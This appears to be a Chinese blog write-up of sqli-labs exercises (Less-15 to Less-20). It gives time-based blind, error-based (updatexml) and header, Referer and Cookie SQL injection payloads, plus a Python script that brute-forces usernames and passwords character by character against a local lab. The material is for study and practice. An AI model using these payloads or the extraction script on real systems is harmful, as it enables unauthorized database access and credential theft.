admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#为例
抓包拦截,将其发送到Intruder,先设置’s’这个参数
在这里插入图片描述

Payload里选择我们预先准备好的字符字典
在这里插入图片描述在这里插入图片描述

字典里包括一些常见的特殊字符
Option里重定向选always
在这里插入图片描述

资源池resource pool设置单线程
在这里插入图片描述

然后开始attack,如果正确的话应该能发现最长响应时间是’s’
看响应时间记得勾选这个completed
在这里插入图片描述

果然是s
在这里插入图片描述

比如第二个字母应该是e,现在可以得出一个结论,burp里正确的length发现都是1677可以据此找出是否找到
在这里插入图片描述

接下来我们批量扫下,把8个字母全部一起扫出来
在这里插入图片描述

第一个payload
在这里插入图片描述

第二个和之前设的一样,还是自定义字符,这是爆破结果,如果发现顺序有点不一样,先点下payload1,再点下点Length就行
在这里插入图片描述

好了,至此burp也可以用以实战了

d.获取表信息

在轮子的基础上用户名输入
admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)#
在这里插入图片描述

而用admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =28, sleep(1), 1)#
在这里插入图片描述

说明表长度是29
在轮子的基础上用户名输入
admin’ and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
用burp批量爆破下
第一个payload长度记得设置成29,以下是爆破结果
在这里插入图片描述

可以发现和正确答案一模一样
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
admin’ and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20, sleep(1), 1)#
在这里插入图片描述

延迟1秒多,说明长度是20
在轮子的基础上用户名输入
admin’ and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
然后用burp批量爆破
在这里插入图片描述

和正确答案一模一样
在这里插入图片描述

f.获取表内数据
在轮子的基础上用户名输入
admin’ and if(length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188, sleep(1), 1)#
在这里插入图片描述

延迟1秒多,说明长度是188,当然这个188也可以用爆破获得,以下实操下
在这里插入图片描述

可以发现1677的188找到了,确实延迟了1秒多
在轮子的基础上用户名输入
admin’ and if(substr(substr((select group_concat(username, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
Burp爆破结果
在这里插入图片描述

正确结果如下,可见完全正确
在这里插入图片描述

17.Less-16 Blind- Time Based- Double quotes- String

a.注入点判断

还是时间盲注,但是怎么试不出变化来呢
测试后发现居然会判断用户名是不是存在admin,不存在失败的,这也给了我一个提醒,以后就用admin测试好了
admin") and sleep(1) #
在这里插入图片描述

b.轮子测试

用户名输入
admin") and if(1=1, sleep(1), 1)#,密码1
在这里插入图片描述

延迟1秒,轮子可用

c.获取数据库名称

在轮子的基础上用户名输入
admin") and if(length(database())=8, sleep(1), 1)#
在这里插入图片描述

说明长度是8
用户名输入
admin") and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在这里插入图片描述

d.获取表信息

在轮子的基础上用户名输入
admin") and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)#
在这里插入图片描述

说明长度是29
用户名输入
admin") and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
admin") and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20, sleep(1), 1)#
在这里插入图片描述

说明长度是20
用户名输入
admin") and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在这里插入图片描述

f.获取表内数据

在轮子的基础上用户名输入
admin") and if(length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188, sleep(1), 1)#
在这里插入图片描述

说明长度是188
用户名输入
admin") and if(substr(substr((select group_concat(username, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在这里插入图片描述

18.Less-17 Update Query- Error based - String

a.注入点判断

在这里插入图片描述

17关看来又有新东西要学了
直接输入admin admin竟然变成改密成功
在这里插入图片描述

看来这关是用于改密码的
在这里插入图片描述

加单引号,又有报错提示了,但前提条件是需要知道有admin这个用户,先不管那个,后面再研究,先利用报错注入一下

b.获取数据库名称

uname=admin&passwd=2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
在这里插入图片描述

发现单纯把上面的poc输到框里是没用的,必须在bp抓包重放里做才行,好吧,也算多学到一招

c.获取表信息

uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
在这里插入图片描述

d.获取列信息

uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

e.获取表内数据

uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
–+
select (extractvalue(1,concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e)));
在这里插入图片描述

但是纳闷的是同样的语句前两个都可以爆出来,这里怎么不行呢
在这里插入图片描述

查了很多资料后发现居然需要用双层select才行
uname=admin&passwd=2’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) --+&submit=Submit
在这里插入图片描述

其中3是密码id

19.Less-18 Header Injection- Error Based- string

a.注入点判断

试了下界面上输出没任何变化
在这里插入图片描述在这里插入图片描述

提示说是header注入,难道又需要用到bp
开启拦截看下,UA后面加单引号试下,同时用户名用admin(如果不存在这个用户就不会报错),加2个单引号又正常,加三个再次报错,说明ua这里存在注入
在这里插入图片描述

b.轮子测试

现在开始尝试设计轮子
’ 1=1 #
在这里插入图片描述

发现原sql里像是有(v1, v2, v3)的结构,那么是不是要先闭合括号呢
Ua后面加’, 1, 1)#
发现没有报错了,猜想是不是轮子可用
在这里插入图片描述

c.获取数据库名称

然后对括号里的1替换成updatexml
', updatexml(1,concat(0x7e,(SELECT database())),0x7e), 1)#
在这里插入图片描述

d.获取表信息

', updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e), 1)#
在这里插入图片描述

e.获取列信息

', updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e), 1)#
在这里插入图片描述

f.获取表内数据

', updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1), 1)#
在这里插入图片描述

20.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#

21.Less-19 Header Injection- Referer- Error Based- string

a.注入点判断

还是一样,需要事先知道一个用户名密码,不然没法报错
这次的注入点是Referer:
在这里插入图片描述

b.轮子测试

用上一关的轮子试下,', 1, 1)#,报列数不匹配
在这里插入图片描述

减一列或加一列试下,发现减一列可以
在这里插入图片描述

那么轮子就是’, 1)#

c.获取数据库名称

然后对括号里的1替换成updatexml
', updatexml(1,concat(0x7e,(SELECT database())),0x7e))#
在这里插入图片描述

d.获取表信息

', updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e))#
在这里插入图片描述

e.获取列信息

', updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e))#
在这里插入图片描述

f.获取表内数据

', updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1))#
在这里插入图片描述

这两关应该都是用在已经注册了用户知道其中一个用户名密码的情况下的测试,不然根本测不了

22.Less-20 Cookie Injection- Error Based- string

登录后界面变成这样了
在这里插入图片描述

Cookie注入,怎么注入呢,抓包看下吧
登录后发现有两个包,其中一个存在cookie
在这里插入图片描述在这里插入图片描述

重放看下能不能注入

a.注入点判断

加单引号报错,存在注入点
在这里插入图片描述

b.轮子测试

看报错应该是只有一个参数
轮子就是 ’ and #或’ and --+

c.获取数据库名称

’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
在这里插入图片描述

这里要注意两边的括号数是不是相等

d.获取表信息

’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)–+
在这里插入图片描述

e.获取列信息

’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+
在这里插入图片描述

f.获取表内数据

’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)–+
在这里插入图片描述

三、python读取网页返回工具

接下来这个单元我们要开发个工具,专门用于sql注入
输入是个文本,里面是我们写好sql注入的url,我们这里已经是基于批量读取的模块开发
在这里插入图片描述在这里插入图片描述

可以看到两个网页都只是返回200,那么我们怎么获取网页内容呢
发现在返回200的时候执行以下语句可以获取网页内容
在这里插入图片描述

其实这里我有个想法,就是输出用户指定关键字的内容,而不是整个网页都输出来,那样很乱,比如这里的You are in就是个关键字,找到后输出那一行就行,找不到就说找不到,然后每次把找到的结果和url 一起输出到文本中
比如像下面这样
在这里插入图片描述

可以看到我们获取到了到指定位置所在行数据
接下来我们还可以做个url输入函数,这样不用手动去改输入文本
比如我们需要遍历写入
127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’–+
像这样遍历写入生成文本
在这里插入图片描述

遍历执行后,我们发现在第20行出现了变化
在这里插入图片描述

接下来只需要把每次的结果写到文本里就行,像这样,只是把有输出结果的写到文本里就行
在这里插入图片描述

经过验证,确实只有2和20在界面上有响应
也就是说第二个字母和第20个字母都是d,而事实也确实如此
在这里插入图片描述

如此,单个字母的遍历就完成了,接下来再加一重循环就可以完整遍历整个字符串了
像这样遍历每个字母生成url
在这里插入图片描述

是不是刚好有id username pa只是还少特殊符号和数字,这里只是把26个字母的遍历加进去了,加上这些之后
在这里插入图片描述

刚好全部找到了
在这里插入图片描述

以下是这个工具的完整代码

import requests
import os
import sys

def writeurl(file, url, ends1, ends2, num):
    s = ['`', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', ',', '.', ':']
    for i in range(1, num):
        for k  in range(26):    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += chr(ord('a') + k)
            content += "'"
            content += ends2
            file.write(content)
        for k  in range(10):    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += chr(ord('0') + k)
            content += "'"
            content += ends2
            file.write(content)
        for k  in s:    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += k
            content += "'"
            content += ends2
            file.write(content)

def myfind(content, key): 
    if content.find(key) != -1:
        j = 0
        s = []
        start = 0  
        end = 0  
        for i in content:
            j += 1
            if i == '\n' and j < content.find(key):
                start = j
            if j > content.find(key):
                if i == '\n':
                    end = j
                    break
        str1 = ""
        j = 0
        for i in content:
            j+=1
            if j > start and j < end:
                s.append(i)
        str1  = str1.join(s)
        print(str1)
        return str1
    
def getlength(text, value):
    if len(text) == value:
        return True
    else:
        return False



if __name__ == "__main__":
    url = "127.0.0.1:9009/Less-9/?id=14' and substr(substr((select group_concat(username, ':', password) from users), 1), "
    j = 'a'
    fp = open("url1.txt", "w")
        #21是目标长度
    writeurl(fp, url, ", 1)=", "--+\n", 188+1)
    fp.close()
    searchtype = 1  #0是内容查询 1是长度查询

    file_name = input()             #读取文件名
    b = os.path.exists(file_name)   #先判断文件是否存在
    if b == False:
        print("文件不存在")
    else:
        fp1 = open(file_name, "r")      #以只读,打开文件
        fp2 = open("result.txt", "w")
        fp3 = open("output.txt", "w")
        for line in fp1.readlines():    #readlines 按行读取文件,会保留'\n',返回一个(文件中一行为一个元素)列表
            url = "http://" + line         #利用line遍历列表,加上https://,使它成为完整的url
            url = url.replace("\n","")      #把文件中读出来时,末尾的‘\n’去掉(替换成空)
            #print(url)
            try:                        #异常处理
                code = requests.get(url,allow_redirects=False, timeout=5).status_code   #获取状态码,通过状态码判断url网址状态
                #print(code)                                         
                if (code == 200 or code == 412):                   #将状态码为200的保存到result.txt文件中    
                    fp2.write(url + "\n")           #写入时要加入'\n',不会自动添加
                    response = requests.get(url)  
                    if searchtype == 0:
                        content = myfind(response.text, "You are in")
                        if content != None:
                            print(content)
                            c = url
                            c += ":"
                            c += content
                            c += "\n"
                            fp3.write(c)
                    elif searchtype == 1:
                        right = getlength(response.text, 707)
                        if right == True:
                            print(right)
                            c = url
                            c += ":"
                            c += "\n"
                            fp3.write(c)


            except requests.exceptions.ConnectionError:     #requests.exceptions.ConnectionError是一种异常类型
                                  #利用except捕获错误,做出回显(屏幕上有反应),有异常处理,就不会中断脚本运行
                print("Connection Error")
            except Exception as e:  #其他错误
                print("未知错误")
        fp1.close()
        fp2.close()
        fp3.close()
    ss = []
    with open('output.txt', 'r') as f:
        for line in f.readlines():
            pos = line.find("'--+:") - 1
            if pos > 0:
                ss.append(line[pos])
        f.close()
    with open('output.txt', 'a+') as f:
        str1 = ""
        str1  = str1.join(ss)
        f.write(str1)
        f.close()
    print(str1)


  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值